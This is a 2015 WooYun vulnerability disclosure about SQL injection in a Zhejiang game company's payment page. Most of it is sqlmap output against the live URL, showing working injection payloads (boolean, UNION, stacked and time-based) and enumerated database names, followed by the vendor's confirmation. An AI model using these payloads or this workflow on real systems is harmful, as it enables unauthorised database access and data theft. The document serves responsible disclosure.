当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-090400

漏洞标题:浙江印象某重要站点sql注入

相关厂商:jhreal.com

漏洞作者: Mosuan

提交时间:2015-01-07 10:03

修复时间:2015-02-21 10:04

公开时间:2015-02-21 10:04

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-07: 细节已通知厂商并且等待厂商处理中
2015-01-07: 厂商已经确认,细节仅向厂商公开
2015-01-17: 细节向核心白帽子及相关领域专家公开
2015-01-27: 细节向普通白帽子公开
2015-02-06: 细节向实习白帽子公开
2015-02-21: 细节向公众公开

简要描述:

详细说明:

WooYun: 浙江印象充值页面sql注入漏洞
这里是数据库不一样啊

注入地址:http://pay.2977.com/Pay/LyPay?gameid=wycq
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 23:27:05
[23:27:05] [INFO] using 'F:\桌面\渗透工具\sqlmap GUI汉化版\rar\output\pay.2977.c
om\session' as session file
[23:27:05] [INFO] testing connection to the target url
[23:27:05] [INFO] testing if the url is stable, wait a few seconds
[23:27:06] [INFO] url is stable
[23:27:06] [INFO] testing if GET parameter 'gameid' is dynamic
[23:27:07] [INFO] confirming that GET parameter 'gameid' is dynamic
[23:27:07] [INFO] GET parameter 'gameid' is dynamic
[23:27:07] [WARNING] heuristic test shows that GET parameter 'gameid' might not
be injectable
[23:27:07] [INFO] testing sql injection on GET parameter 'gameid'
[23:27:07] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[23:27:10] [INFO] GET parameter 'gameid' is 'AND boolean-based blind - WHERE or
HAVING clause' injectable
[23:27:10] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[23:27:10] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[23:27:10] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[23:27:10] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[23:27:10] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[23:27:21] [INFO] GET parameter 'gameid' is 'MySQL > 5.0.11 stacked queries' inj
ectable
[23:27:21] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[23:28:21] [INFO] GET parameter 'gameid' is 'MySQL > 5.0.11 AND time-based blind
' injectable
[23:28:21] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[23:28:22] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[23:28:23] [INFO] target url appears to have 9 columns in query
[23:28:23] [INFO] GET parameter 'gameid' is 'MySQL UNION query (NULL) - 1 to 10
columns' injectable
GET parameter 'gameid' is vulnerable. Do you want to keep testing the others (if
any)? [y/N] y
sqlmap identified the following injection points with a total of 27 HTTP(s) requ
ests:
---
Place: GET
Parameter: gameid
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: gameid=wycq' AND 2943=2943 AND 'mnNw'='mnNw
Type: UNION query
Title: MySQL UNION query (NULL) - 9 columns
Payload: gameid=wycq' UNION ALL SELECT NULL, NULL, CONCAT(0x3a7262743a,0x467
34b52647977734a4e,0x3a696a6f3a), NULL, NULL, NULL, NULL, NULL, NULL# AND 'cvJg'=
'cvJg
Type: stacked queries
Title: MySQL > 5.0.11 stacked queries
Payload: gameid=wycq'; SELECT SLEEP(5);# AND 'LVDy'='LVDy
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: gameid=wycq' AND SLEEP(5) AND 'OqYx'='OqYx
---
[23:28:32] [INFO] the back-end DBMS is MySQL
web server operating system: Windows
web application technology: ASP.NET 4.0.30319, ASP.NET, Nginx
back-end DBMS: MySQL 5.0.11
[23:28:32] [INFO] fetching database names
available databases [2]:
[*] information_schema
[*] vx2977
[23:28:35] [WARNING] HTTP error codes detected during testing:
500 (Internal Server Error) - 9 times
[23:28:35] [INFO] Fetched data logged to text files under 'F:\桌面\渗透工具\sqlm
ap GUI汉化版\rar\output\pay.2977.com'
[*] shutting down at 23:28:35

漏洞证明:

修复方案:

版权声明:转载请注明来源 Mosuan@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-01-07 15:31

厂商回复:

已经提交程序员修改相应代码,多谢提醒。

最新状态:

暂无